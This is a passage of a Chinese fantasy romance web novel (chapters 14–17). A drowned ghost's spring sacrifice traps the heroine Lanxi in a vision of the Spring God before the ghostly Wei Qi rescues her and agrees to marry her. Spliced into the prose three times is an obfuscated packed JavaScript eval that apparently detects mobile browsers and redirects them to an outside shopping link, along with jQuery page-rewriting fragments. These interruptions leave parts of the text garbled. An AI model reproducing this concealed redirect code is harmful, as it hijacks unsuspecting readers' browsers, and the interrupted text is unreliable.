河中央缓缓有一点亮光升起,有一个人影立在中央,提着一只白灯笼,长长的黑发拖到水面,隐约看出是个女子。 空灵又鬼气森森的歌声在湖面上飘起,让人不寒而栗。 “春水暖……桃花开……春神赐我桃花枝……万家井……神女名……春神予我长生期……” 歌声在河岸上回荡着,河面上的影子随着水波隐隐颤动,岸上三人都僵在了原地。 柳梢第一个反应过来,她脸色发白:“唱的什么破玩意,难听死了!” 她感知到对方来者不善,且对方实力恐怕很强,不是她们能应付的,柳梢转身就抓起兰溪的手腕:“快跑!” “等等!青羽还被绑着呢!”兰溪回头看向正被绑着的青羽。 “管他呢!先跑!”柳梢拉着兰溪拖着跑。 “喂!你们别走啊!我怎么办?”青羽在树上拼命挣扎,大声喊着。 兰溪咬咬牙,挣脱柳梢的手往回跑,手忙脚乱地去解青羽身上的绳子,可是那绳结越急越解不开,青羽急得跺脚:“快点快点!” 柳梢站在几步外着急道:“让他扛着树跑得了!” 河岸上三个人急得像一锅上的蚂蚁,河面上那个提着白灯笼的人影突然开始移动,无数铁锁链伴随着从黑水里射出,交叉纵横滑向河岸,直逼三人而来。 14. 且听春 “哗啦!”那些铁锁链死死钉住几人前方的地面,乌黑发亮的锁链结成一道网,封死了所有逃亡的路线。 兰溪终于把绳子解开了,青羽“扑通”一声掉下来,立刻踉踉跄跄的爬起来,去捡插在地上的佩剑。 他握紧剑柄,挡在柳梢和兰溪身前,盯着河面上的人影,硬撑着声音:“哪……哪里来的邪祟!我这把剑是青鸾族族长亲赐,有上古鸾鸟之力加持,我……我可不怕你!” 黑水之上的女影在雾气缭绕间越靠越近,那是一个年轻女人,长长的头发蔓延到脚踝,看不清面容,或者说她的面容在河水的长久浸泡下早已皮肤溃烂,面目全非,她提着一盏白灯笼,怀里还抱着一棵枯树枝。 她又开始咿咿呀呀地唱起了歌。 “春水寒……桃花败……麻绳缚骨沉河底……水中月……梦里身……阿罗抱枝八百春……” 最后一句唱罢,河面上的灯笼猛地熄灭,雾气翻涌,人影晃动,交叉纵横的铁链开始叮叮作响。 岸上的三个人背靠着背,警惕地看着那女鬼,被逼的步步后退。 那抱着树枝的女鬼黑洞洞的眼睛在岸上扫视而过,最后落在岸边那具还没来得及处理的太傅嫡孙李崇文的尸体上。 几根铁链从水底“哗”的冲出,直接钉在那尸体旁边的地上,铁链缠上尸体的脚踝和脖颈,铁链被收紧,尸体缓缓朝河面的方向拉动。 “住手!”柳梢眼看那尸体要被拉走,第一个扑了上去,她獠牙暴涨,十指利爪抓向那根铁链。 可那铁链只是被抓出了些火花,却纹丝不动,另一边不知从哪伸出一根铁链从侧面扫过来,用力的砸在柳梢的腰侧。 “砰!”柳梢整个人横飞出去,重重地摔在河滩上。 “师姐!”兰溪冲了过去,青羽也跑过去,两人一左一右把柳梢扶起来。 柳梢疼得直骂人:“疼死了!这破链子什么东西做的这么硬?” 那一边,李崇文的尸体已经被拖到了河中央,悬在半空,被铁链缠绕着。 女鬼飘到尸体旁边,兴奋地在尸体旁边嗅了嗅,露出一个诡异的笑容,她抬起手指尖刺入尸体的皮肤中。 尸体开始发出“咯吱咯吱”的声音,像是骨头在摩擦,有什么东西正在那尸体的身体里苏醒破土而出。 紧接着尸体的嘴巴眼睛耳朵开始盛开出一朵一朵的花,桃杏李三花齐开,粉白交错的花在尸体上点缀开来,那具尸体,开始变成一具人形的花树。 河面上开始弥漫一阵诡异的花香,那香味香得刺鼻,带着腐烂的甜腻,像是万千花朵堆在尸体上腐烂后发出的气息。 兰溪只吸入一口,就觉得眼前开始变得有些迷糊。 “这是……三春祭!”青羽声音有些发颤。 “什么?”兰溪甩头拼命的让自己清醒起来。 “上古春祭,以活人为祭,血肉为土,以尸身育花,桃花、杏花、梨花,三花同时开放,便是祭祀春神的最高规格,花开之时,春神降临……但这祭祀早已不可能成功!” 雾气越来越浓烈,白雾迅速扩散到已经看不清景物,青羽顿觉不对。 “不好……这是祭祀的迷阵,如果在这阵里迷失,就会一同当成祭品祭给春神,有修为在身的还能靠灵力护住神智,可若是修为太低或者是凡人,在这里撑不住三息!” 兰溪此时感觉眼前已经模糊一片,昏昏沉沉,青羽看向兰溪着急道:“糟了,她已经入阵!” “小师妹,你脸色不对!”柳梢一把抓住兰溪的肩膀,用力晃了晃。 兰溪被晃得回过一丝神,柳梢扶着兰溪站起来,把她向远处推了一把。 “你快向迷雾没有弥漫到的地方跑!你修为太低,留在这里最危险,乘着迷阵没有封死,你先找地方躲着!” 兰溪听到这话点点头,知道自己留在这也没用,转身跌跌撞撞朝着迷雾没有吞没的地方狂奔。 可是她跑着跑着,便觉得脚下的地面变了。 周围的雾越来越浓,浓到伸手不见五指,她连自己的脚步声都听不到了。 一片眩晕中,似有春风吹来,雾气就像被风掀起的一角帘幕,卷着兰溪向前扑。 她再次睁眼时,跌进了一片春色。 眼前好像满目都是花,兰溪不知自己在哪个山间,漫山遍野,铺天盖地的繁花,层层叠叠如云锦般从山脚一路烧到天边,天地间尽是红樱白雪。 春风拂面,和煦温暖,远处隐有钟声回荡,伴着人群的喧哗声传到兰溪耳旁。 兰溪循声望去,看见一座古庙前蜿蜒的山道上挤满了人,形形色色的众生跪拜叩首,男女老少,布衣锦袍,农人商贾,书生仕女……密密麻麻跪伏在地,齐齐簇拥着一个方向。 兰溪有些好奇,这些人跪拜叩首,到底在拜谁呢?她走近人群里,顺着人群的目光看过去。 山间花深处,有人踏云而来。 那人一袭雪白长衣,广袖垂落,似天上月华,襟口和袖口是浅碧的花纹,腰间一条青碧腰带,发髻冠着一枚青玉,犹如春水初生。 他走过之地,万物复苏,百花盛开,百姓齐齐跪拜,凡人将头贴得很低,却又忍不住抬头偷瞥他的风华。 兰溪也忍不住被那人吸引,她看不清那人的面庞,但还是感叹,真是一道风骨俊逸的身影。 漫山春色也只配给他当背景,他闲闲地走着,看着万千跪拜,嘴角噙着笑意,携花踏云,好不风流。 人群看他走近便涌动起来,所有人抬着头诉说着祈愿。 “春神在上!求您赐福!” “春神在上!小民求您保佑今年风调雨顺,庄稼丰收!” “春神在上!求您让我财运亨通,生意越来越好!” “春神,求您让我考取功名,光耀门楣!” 春神笑了笑,伸手携花轻点,便有金光闪烁,他所过之处,求财者得财,求名者得名,求子者得子……人人心愿皆如意。 每个人受了恩泽都兴奋无比,人群簇拥着他,追随着他,人群沸腾着像是虔诚的信徒。 兰溪站在人群外看着,她想着原来那就是古籍里提到的春神,原本早已消失在岁月长河里的那位。 可是那人现在就站在兰溪眼前,踏着花雨,走过人间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204881|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那熙熙攘攘的人群里,忽然冲出一个姑娘,所有人都和春神保持着距离,只有这姑娘第一个冲到春神的脚边。 她跪在地上,仰着头看着春神,眼眶发红。 “大人,您还记得我吗?民女阿罗,三年前家乡大旱,您赐了我一根桃花枝,让我插在田埂上,三日之内便降甘霖,万木抽芽。” “大人!您救了我们整个村子,民女感激不尽!”那姑娘说着便跪在地上,重重的磕了头。 众人看着她安静了一瞬。 她跪在地上却迟迟没有起来,伏在地上的姑娘咬了咬唇,还是开口恳求。 “我受大人的恩泽,也想替您做事,可是大人,我只是一个普通女子,我没有神通法力,您救了我这条命,我也想报答您,以后若有他人遭难受苦,我想替您去帮忙。” 她抬起头,炙热的目光看向春神:“求您……给我一些能帮人的本事,哪怕只是一点点!” 春神目光温和,静静看着她。 “阿罗,你想帮人,这很好。” 他伸出手轻点阿罗的眉心,一股缓慢而温暖的能量涌入她的体内。 “我赐你的,不是神通,是你的血脉,从此以后你和你的子孙都将成为承福之人,你将有赐万物生机的本事,虽不及我万一,但足够你救一方黎民百姓,你的子孙也将受你的福泽。” 阿罗愣在原地,她感受到身体里的力量,不可置信地摸了摸自己的眉心。 她跪在地上,重重叩首:“叩谢春神!我定不负所托……我只求大人永远记得民女的家乡,记得……” “记得那些村民……还有民女。” 她说完俯首在地,不敢抬头。 春神看了她许久,最后了然,像是一声无声的叹息,回答道。 “好,春风过处,皆是故地。” 阿罗抬起头,脸上绽开一个笑容。 旁边的人凑上来,满脸艳羡。 “阿罗姑娘,春神对你真好!” “是啊是啊,你是春神第一个赐福的人,现在又拥有春神血脉!” 阿罗听了这些话,脸上出现一丝未曾察觉到满足和得意。 “对啊。”她声音很轻,像是自言自语:“真好。” 兰溪站在一旁,看着这一幕,她觉得自己就像一个身外人在看一场故事。 这一场盛大的赐福,满山的春色,就像铺在她眼前的画卷,都与她无关。 可是这时,那被人群簇拥着闲庭信步的春神,在万千叩拜的人群和漫天盛开的繁花中,突然停下了脚步。 他转过头,隔着人群,隔着这春日盛景,看向兰溪。 在千千万万的众生中,看见她这个世外的灵魂。 “你想要什么?” 春神向兰溪伸出手询问,兰溪看着眼前靠近的人,看不清他的容颜,他的眉眼好像都蒙着一层水雾,只是依稀看见他清浅的笑颜。 “……我?” 兰溪没想到他会问她,她以为这是一场梦,自己是身外人作为看客,一览春神风采,可他偏偏就看到她,走向她。 她想要什么? 15. 且听春 她看了一眼眼前的人,长身玉立,仙姿绰约,眉眼含笑,这样一位随手就能赐福的神明真的站在她面前,她一时竟想不出该要什么。 她想了想,摇摇头道:“我……没什么想要的。” 说着兰溪的视线他身上,看他一身白衣青衫,兰溪觉得太素净了,她总觉得这样的神祇该是更加满身锦绣的。 这么想着,兰溪看到旁边一树琼花开得正好,满树琼花散着清冷的幽香,玉树琼苞正好配他白衣胜雪。 “我倒是想到一个心愿……” “哦?”春神微微侧头。 兰溪踮起脚,从枝头上折下一朵琼花,然后转过身,手里拈着那枝花,看着他。 “你可以低下一些吗?”她说。 春神微微一愣,随即低下眼睫,微微俯首,噙着笑一动不动。 兰溪抬起手,将那朵琼花,轻轻别在他的耳边。 一朵素白的花,衬着他墨黑的发,像是落在发间的一朵白蝶。 “好啦”兰溪忍不住端详了一下,然后笑着后退一步:“这样就更好看了。” 他抬头,用指尖触了触耳边的簪花,然后看向兰溪,眼里动了几分涟漪。 “你把你的心愿……给了我?” “对啊。”兰溪点点头:“我其实没什么想要的,所以许愿能为你簪一朵花。” 兰溪看着眼前的人,一花破清寂,都说清冷到了极致便生出艳色,他耳边的琼花随风微动,让他多了几分人间气,比满山春色动人。 春神看着兰溪沉默许久,然后笑着颔首,向她行了一礼。 “多谢。” 他声音很轻,耳尖微红,又抬手摸了摸耳边的花,像是在确定。 兰溪觉得他的样子,欢喜的倒像是收到礼物的少年。 花雨纷飞,人群簇拥,穿过层层人群,在热闹的边缘,阿罗在远处静静地站着,目光死死地落在这里。 阿罗脸上的笑意凝固,冷冷的目光看过去,看着那朵花,看着兰溪。 “真好……”这一句话她像是从牙缝里挤出来似的,极细的冷意像是搅碎了话意。 兰溪眼前的场景迅速变化,漫天花雨,春神赐福的风光场景,像是镜子被人一瞬间打碎。 兰溪还没来得及反应,所有的美好瞬间褪色,她再次睁开眼,看见眼前出现一张狰狞恐怖的脸。 “你去死!” 耳边传来女鬼的尖叫声,一张脸几乎要贴在她的面前,女鬼伸出爪子,直直地朝兰溪的面门攻来。 那张放大的脸,眼窝深陷,皮肤浮肿,黑水从眼窝里流出,皮肤溃烂到露出森森白牙。 兰溪被吓得本能地向后躲避,却发现自己根本动不了。 无数锁链从四面八方缠绕上来,缠住她的脖颈和四肢,冰凉刺骨的锁链勒着她的脖颈,勒得她喘不过气来,痛苦地涨红脸。 她皮肤上的锁链勒紧,身上出现一道道奇怪的青紫色勒痕,锁链被猛地一拉,兰溪整个人就跟着摔出去。 她挣扎着环顾四周,发现自己躺在一个巨大的祭台上,四周是黑色的石柱,祭坛下面的黑雾里有无数只手,无数苍白扭曲的面孔,万千恶鬼嚎叫着。 女鬼那张腐烂的脸再次凑了过来,黑洞洞的眼睛冷冷看着兰溪。 “你以为他是什么好人吗?你以为他真的是什么救世神明吗?你们这些蠢货!” 她猛地拽紧铁链,兰溪被勒得眼前发黑,她气息微弱:“你……到底在说什么?” 她揪住兰溪的衣领,强迫兰溪看着她:“你看我这副样子,他来救过我了吗?他永远是那副惺惺作态的样子,真叫人恶心!” 铁链开始收紧,兰溪被吊起来,女鬼拽着兰溪的衣领,把她拉到祭坛的边缘,祭坛下是万丈深渊的黑暗,万千恶鬼索命。 “反正他也死得干干净净,既然你给他戴花,那你就去陪他吧,把你也献祭给他!让他看看,他看中的人最后都是什么下场!” 兰溪被拉到高高的祭坛旁,她想挣扎,锁链却将她捆得动弹不得,女鬼的奸笑声在耳边响起。 “你也去死!” 那女鬼嚎叫着,突然猛地在兰溪背后一推,锁链立刻松开,兰溪立刻摔下深渊。 耳边风声呼啸,兰溪看着黑暗的深渊,闭上了眼睛,深渊失重的瞬间,幻境便如镜面四分五裂。 忽然,她撞进了一个怀抱里,那些痛苦撞击都没有出现,有人稳稳地接住了她。 那人身上带着她熟悉的皂角香气,伴随着淡淡的幽香,一双大手揽住她的后背,将她抱进温暖的怀中。 那人的出现,在幻境的破碎中变成了漫天迸溅的花瓣,纷纷扬扬的花瓣被撞开,如同一场暴雪,簌簌落了满身。 兰溪抬头,在漫天花雨中,终于看见了清晰的人影。 眼前人墨发,白衣,清隽的眉眼,此时也垂着眼眸,看着她。 接住她的人,是卫祁。 一瞬间的失重又落地,兰溪感觉到自己心跳得很快,像是在打鼓。 幻境彻底破碎,兰溪发觉自己身在最初的郊外河滩,夜晚的冷风吹过来,才让她醒了神。 “卫祁……你怎么来了?”兰溪声音发哑。 卫祁没有回答,他还是把兰溪抱在怀里,兰溪感觉到他抱着自己的手,很轻微地在抖动。 他的手在抖? 兰溪想着像他这样的人,怎么会发抖呢?难道他在害怕吗? 夜色中月光很淡,兰溪看不清他的神色,只看见他低垂着眼眸,抿着唇不说话。 远处的河上,女鬼站在祭坛惨影的边缘,一张腐烂的脸扭曲得不成人形,她看着突然被破坏的一切,发出一声尖利的嘶叫。 “我的祭祀……你是个什么东西?敢坏我的事!” 她尖叫时,锁链便从河中暴起,带着破空声,向二人攻击而来。 卫祁却没有动,他一手抱着兰溪,抬起另一只手,呼啸而来的铁链,他似乎只是抬手轻点,铁链在面前瞬间破碎炸开。 “轰!”兰溪只听见一声闷响,在身后响起,铁链早已经爆开,等她转头看去,只看到散落了一地的碎片。 卫祁抬起头,河岸上的女鬼目光落在他的脸上。 那女鬼愣在原地,她盯着卫祁的脸,眼里闪过一丝异样的神色,她张嘴想说些什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215844|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >卫祁站在原地,却没有给她说话的机会,身上鬼气翻涌,在半空中凝成实质,化为漆黑如墨的触手,遮蔽了半片天空。 鬼气无声地涌向河面,铁链寸寸崩碎,河面上咆哮的鬼影开始逃窜晃动,被触手一抹,瞬间灰飞烟灭,雾气也被撕成碎片。 女鬼发出凄厉的惨叫,她知道对方过于强大,把她的攻击撕得粉碎。 最后一刻,只能用尽浑身力气,化出残存的铁链裹在身上,把自己裹成一个密不透风的茧,在铁链被触手击碎的最后一瞬间,猛地向河里逃去。 扑腾一声,女鬼逃走,河岸上再无人影,雾气散去,河面归于平静。 那些恐怖的触手慢慢收回,隐没在卫祁身后,月光下,他目光淡淡,还是那副清俊苍白的模样。 兰溪看不见那些鬼气,她只觉得一瞬间河面上鬼影晃动。 下一秒,所有黑影连同那女鬼,如同被一只无形大手抹去,悄无声息地湮灭在雾中,浓雾也随之迅速消散,月光重新洒落。 她正疑惑,那女鬼居然自己消失了? 这时候,两道身影从雾色里窜了出来。 “小师妹!”柳梢和青羽都负了伤,他们拼命赶到到这里,可是刚看到兰溪,两人都不约而同地僵住了脚步。 “你没事……”柳梢刚准备说出来的话戛然而止,她的目光看向兰溪后面的卫祁。 柳梢看见站在兰溪身侧的男人,身上蔓延着铺天盖地的鬼气,他的气息和威压,压得她腿发软,差点跪下。 柳梢本能地开始应激,獠牙和利爪不受控制地暴长出来。 青羽更是脸发白,握着剑的手也开始抖,哆嗦了半天,一个字也没挤出来。 兰溪看见二人赶到,欢喜地喊了一声:“师姐!你们没事太好了。” “小师妹。”柳梢声音发紧:“你……快过来。” 兰溪有些疑惑:“为什么?” “你先过来。”柳梢语气加重,她死死盯着卫祁。 兰溪看二人的神情不太对,她下意识往卫祁身前挪了挪,把他挡在身后,对柳梢和青羽道。 “你们别吓他,卫郎他只是普通人,没见过这种场面。” 她说着,回头看了一眼卫祁,压低声音安慰:“你别怕,柳梢姐姐和青羽都是有修为的人,可以保护我们。” 卫祁垂着眼,乖乖站在兰溪的身后,嘴角弯了一下,随即点点头。 柳梢和青羽看着眼前的场景,嘴角抽了抽。 柳梢觉得自己这一百多年都白活了,张张嘴想说点什么,却又说不出来。 卫祁向兰溪凑近了一点,低着头埋在她的耳边,低声耳语:“你一直没回来,我担心你,所以出来找你。” 兰溪回头看他,心里突然软了一下。 这人,大半夜地冒着危险出来找她,一定担心坏了吧,他一个文弱书生,还撞上这么危险的女鬼。 “我没事。”兰溪放柔声音,她踮起脚,安抚地拍拍他的肩膀:“是遇到些危险,但已经过去了,你别怕。” 卫祁垂眸看了她好一会儿,然后轻轻拉了拉兰溪的袖子。 “我们回家吧。”他说。 16. 且听春 卫祁的声音很轻,带着理所当然的依赖,兰溪听了立刻点点头同意:“好,你等一会。” 兰溪转头走到柳梢和青羽面前:“师姐,青羽,我今天要回去了,这河畔不安全,趁着现在没事,你们也快走吧,有什么事,我们明天再联系。” 柳梢张张嘴想说什么,但又看了一眼站在兰溪后面等待的卫祁,看他那张无辜的脸,话到嘴边又咽下去。 “……行。”柳梢叮嘱一句:“你自己记得小心吧。” 青羽在旁边拼命点头,一个字也不敢多说。 看着兰溪和卫祁走远的身影淹没在夜色里,柳梢搓了搓胳膊上的鸡皮疙瘩,喃喃一句。 “苍天啊,我师妹这么老实本分的女人,怎么遇上他了?” * 兰溪和卫祁走在回琼花巷小院的路上,月光洒在青石板上,把两个人的影子拉得很长。 卫祁安静地跟在兰溪身后,像个听话的影子,巷子很深,两边的老墙上爬满青苔,兰溪走着走着,突然停下了脚步。 “咦!”兰溪仰起头,看向高处。 琼花巷的琼花开了,满巷花树,花开过墙头,坠在枝头上,像一条银辉的带子,白茫茫一片,分不清是花是月还是雾。 其中有一棵老树长在巷子深处,正对他们的院子门口,盛大的花树抽出万千枝条,琼苞蓬蓬地撑开一片天。 夜风拂过,千朵万朵,堆云砌雪,整条巷子像无数只白蝶在风中颤动。 花瓣颤动,簌簌落了下来,像一场没有尽头的雪。 “真美!”兰溪仰头看花,喃喃道。 兰溪脑子里突然想到了那个幻境,漫天花雨,白衣青衫的神祇,还有她折琼花别在他耳边的瞬间。 “古人说,琼花是天上之仙,不是人间凡花。”兰溪感叹。 随后她又叹气:“可惜琼花的花期很短,左右不过十日……这么美的花,真是舍不得它落。” 身后传来一声低笑,卫祁的声音从身后传来。 “想要花留有何难?这世上,想要人留……才是最难。” 他这一句话说得轻描淡写,带着一丝听不懂的意味,兰溪回头看向卫祁。 他就站在几步之外,月光从花隙里漏下来,细碎的银箔把他整个人镀上淡淡的银辉,墨发披散,素衣清隽,满树琼花,不及他好看。 不知怎的,兰溪脑海里那个幻境里的春神和眼前的卫祁重叠,一个是万千人跪拜的遥远神明,一个就站在他面前,眉眼里带着熟悉的温柔。 “卫郎。”兰溪开口。 卫祁抬眼看过来,兰溪转过身,踮起脚,从低垂的枝头上折下一朵开得最好的花。 那一朵花莹白如玉,凉凉的,软软的,像是鞠了一捧月光在手心。 兰溪捧着那朵月光,走到他面前,仰头看他。 “都说琼花有仙人之姿。”她声音轻轻的:“我第一次见你时,就觉得你像天上的郎君下凡。” 兰溪把花递过去:“这花,也堪配你。” 卫祁低头看她,兰溪眼睛亮亮的,那朵花被她攥在手里,花瓣微微颤着。 他没有说话,只是伸出手接过了那朵花。 兰溪见他还没开口,鼓起勇气把话说了下去:“你收了我的花,可否听我说一件事?” 兰溪没等卫祁回答,抬起手腕,把一直戴着的那颗妖丹亮出来,明黄色的珠子在夜色下还留着光晕。 “今天我遇到一个修士,才知道这珠子不是凡物,那修士愿意出高价来买,我便想回来和你商量。” 兰溪顿了顿,深吸一口气,把一直在心底里酝酿的话全部说出来。 “或许我们可以把这颗珠子卖出去,卫郎,你是读书人还尚未有功名,想必也需要钱财度日,若你愿意接受……把这珠子换了钱,从倚香阁里赎了我的身,往后……往后我们一起过日子。” 夜色中琼花静静开着,月光洒在这方小巷,兰溪的声音很低,低到要被风吹散。 她抬头看着卫祁:“你没有成婚,我可以和你成婚。” 这一句话说出来时,兰溪感觉自己心跳得快炸了。 虽然不是什么情话,但对兰溪来说,这已经是她能说出口的,最勇敢的话了。 卫祁没有说话。 他就那样看着她,看了很久很久,月光在他的眼底流转,仿佛相隔了万古长夜的寂静,而他只存活在这一刻的间隙。 兰溪从他的脸上看不出其他表情,悬着的心一点一点地往下沉。 他终于开口,目光落在兰溪的脸上像是在留恋什么,声音很轻,像是在叹息。 “兰姑娘,我是坏人,你该走才是。” 兰溪愣住了,她想过他会拒绝或者犹豫,或者有其他的顾虑,可是她没想过他会这样说。 “坏人怎么会说自己是坏人呢?”兰溪摇摇头有些固执:“坏人只会说自己是好人……” 她还想再说些什么,可是一对上卫祁的眼睛,就什么也说不出来了。 他应该是不愿意的吧?还想出坏人这个说辞,是不是只是在给她留面子? 兰溪突然觉得眼眶有些发酸。 她垂下眼,声音很闷:“是我唐突了,卫郎……只当我没说过吧。” 兰溪转身就走,步子又快又急。 可她刚走两步,衣角就被人拽住,卫祁的力道很轻,攥着衣角的指节,却又微微收紧。 兰溪却没回头,低着头不说话,她洗了吸鼻子,蹲了下去,把脸埋进膝盖里。 太丢人了! 兰溪活了这么大,第一次主动跟人说这种事,就这个下场。 身后传来轻轻的脚步声,卫祁也在她面前蹲下。 兰溪感觉有一只手,轻轻覆在她的发顶,她抬起头,看着月光下他近在咫尺的脸。 卫祁长睫微颤,压着她看不懂的复杂情绪。 他抬起手,目光落在她的脸上,蜷起指节极轻柔地抹去她眼尾的泪痕,嘴角弯起一个淡淡的弧度。 “我这样的人……有什么好的?”他声音很低,微微沙哑。 “我愿意,我就是愿意。”兰溪带着鼻音,一时带上脾气倔强起来。 卫祁看着她,看她红红的眼眶,一副不管不顾的表情。 他突然笑了,浅浅一笑,带着些无可奈何。 “我应你便是。” 兰溪被他轻轻拉起来,懵懵地走了两步。 她这才反应过来,猛然抬头。 “你刚刚说什么?” “答应。”他说。 “答应什么?”兰溪不依不饶。 卫祁没有回头,声音从前面传来,带着笑意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224783|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “成婚。” 兰溪这才满意了,脸有些微红,被他牵着走回去,看着他的背影,墨发在夜风中微微飘动。 * 兰溪蹲在院子里,表情有些惊奇地盯着墙角冒头的一点嫩枝。 那是那晚她折给卫祁的琼花。 那夜回来后,卫祁就很珍重地把那枝花插在墙角养着,兰溪当时还笑他,说琼花哪是那么容易养活的,插枝能活的那是柳树。 她本来没抱任何希望,可过了几天,她起来一看,那枝条上竟冒出了一点嫩芽。 “还真活了。”兰溪凑近仔细看着。 那枝条开始扎根在土壤里,卯着劲儿冒出一点嫩芽,墙角的那株藤蔓,不知道什么时候也过来凑热闹。 藤蔓小心翼翼地探出一根细嫩的触须,轻轻地搭在那株琼花幼枝的嫩叶上,带着试探的好奇。 兰溪看着这一幕,觉得很好笑,这个世界的植物比她想的更神奇,更有生命力。 兰溪站起身,看着墙角这两株奇奇怪怪的植物,一株不知道从哪里冒出来的食肉藤蔓,一株是本该活不了的琼花插枝。 他们就这样挤在同一个墙角,一起晒着太阳,像两个相依为命的怪东西。 就像她和卫祁一样,在小院住着的这些天,邻居的妇人再也没在门口闲坐过,几乎是看看他们就躲,像避着什么不干净的东西。 兰溪懒得计较这些,她觉得这个院子很好,很清静,还有琼花树开得盛大漂亮。 她抬起头,看向巷子深处的那棵老琼花树,满树的花依旧开着,白得像一树雪。 “卫郎。”兰溪回头喊了一声。 卫祁正坐在院子里的小凳上,面前放着一个木盆,水里泡着一些蔬菜,他低着头,不紧不慢地洗菜,阳光落在他的侧脸,柔和俊美得像画一样。 听到兰溪喊他,他抬起眼。 兰溪指着那花树道:“你说,咱们成婚的时候,这花树能开到那时候吗?” 卫祁顺着她指的方向看了一眼,又低下头继续洗菜。 “它会开的。”他淡淡回答。 兰溪眨眨眼,开玩笑道:“你怎么知道?就这么笃定吗?” 卫祁却没有回答,兰溪也不追问,只是又看一眼那花树,心里多了几分期待。 “要是真能开到那个时候就好了……” 兰溪转过身,想进屋拿些东西,却听见身后传来卫祁的声音。 “你很喜欢吗?” 兰溪停住,回头看他,卫祁还在低头洗菜,像是随口一问。 兰溪想了想,走回他身边,蹲下来,拖着腮看着他洗菜,他的手指修长又骨节分明,冷白的皮肤浸在凉水里,指尖微微泛红。 “也不是说多喜欢花。”她道:“我就是觉得……成婚的时候应该要美一些,要有花点缀着,才像那么回事。” 卫祁把洗好的菜整整齐齐码放在旁边的篮子上,听了这话,手上动作顿了顿。 就在这时,院门被敲响。 “咚咚咚。” 兰溪站起身,拍拍裙子上的灰,朝门口走去。 “谁啊?” 兰溪拉开门,发现门外站着的是青羽。 “兰……兰溪姐姐,我来了。”青羽结结巴巴开口,眼睛却先越过她,一个劲儿地往院子里先瞟了一眼。 17. 且听春 兰溪看着门外站着的青羽,他今天换了一身干净的衣裳,头发也好好束起来,比那天晚上狼狈逃命的样子要体面得多。 只是他看起来脸色不是很好,眼神有些飘忽,兰溪拉开门后,便一把抓住青羽的衣服,把他往门外拽了出去。 “兰溪姐姐,这是干什么?”青羽被拽得一头雾水。 兰溪压低声音嘱咐道:“你听好了,待会儿进去,你只说自己是个想买妖丹的修士,今天上门是来谈生意的,可千万别提我的身份,听懂了吗?” “为什么?”青羽满脸疑惑。 “让你别说就别说!问那么多干嘛?”兰溪瞪他一眼。 青羽没搞明白情况,只能愣愣地点点头。 兰溪满意地拍了拍他的肩膀:“乖,进去吧。” 兰溪领着人进了门,对着卫祁介绍道:“卫郎,这就是我跟你提过的那位要买妖丹的仙长,上次在河畔你们见过的,他今天上门跟我们谈生意。” 卫祁依旧坐在院子里的小凳上,手上的菜都洗完了,他听见兰溪的话抬起眼,目光在青羽身上淡淡扫了一眼。 青羽却感觉自己后背一阵凉意,脚步僵在了原地。 兰溪在旁边热情地招呼:“来来来,别站着,找地方坐,就座这儿吧。” 兰溪搬来了一张小凳,放在卫祁对面,示意青羽过来坐。 青羽看了一眼那离卫祁很近的凳子,扯出一抹笑:“不……不用了,我站着就行。” “你客气什么呀?快坐吧,我去泡茶。”兰溪笑着推推他。 兰溪说完就去了厨房,只留下青羽和卫祁还留在原地,院子里突然安静得可怕。 卫祁抬起眼,再次看他,只是这次的目光冰冷,像是在打量。 青羽大气都不敢出一口,像是被定在原地一般。 “青鸾族的小雀?”卫祁开口,语气很平淡。 青羽浑身一抖,然后点点脑袋:“是……是啊,小的名为青羽,见过大人。” 卫祁没说话,而是用手指轻点对面的小凳。 “坐。” 青羽立刻摆手:“不不不,怎么敢跟大人平起平坐?我站着就行,站着就行。” “你要是不坐,她会不高兴的。”卫祁打断青羽的话。 青羽愣了一下,但对上卫祁的目光心里一紧,最终还是咽了口唾沫,战战兢兢地走过去坐下。 青羽非常拘谨地坐上凳子,空气中有一股无形的压力,让他有种坐如针毡的感觉。 院子里又安静了一会儿,只有厨房传来一点碗盏清响的声音。 青羽坐得脊背发直,他一句话也不敢多说。 “你是来要那只丑鸟的妖丹?”卫祁忽然又开口。 青羽结结巴巴开口:“是……是的,我奉族中长辈之命,不可违背……需寻回族叔青溟的妖丹。” “你想为他报仇?”卫祁发问。 “不不不!”青羽脸色大变:“小的怎敢?我族叔惹了您,那是他作死,我只是奉命行事,绝无半点报仇之心!” 卫祁看着他,眼里掠过一丝冷冷的笑意。 “你倒是没你们族里那几个老鸟讨人厌。” 青羽也不知道该怎么回答,只能干笑着点头:“是……大人谬赞。” 卫祁没有再说话,青羽也不敢开口。 两人就这么坐着,青羽坐立不安,眼神不住地往厨房看,他在心里疯狂呐喊。 兰溪姐姐!你的茶到底要泡到什么时候啊! 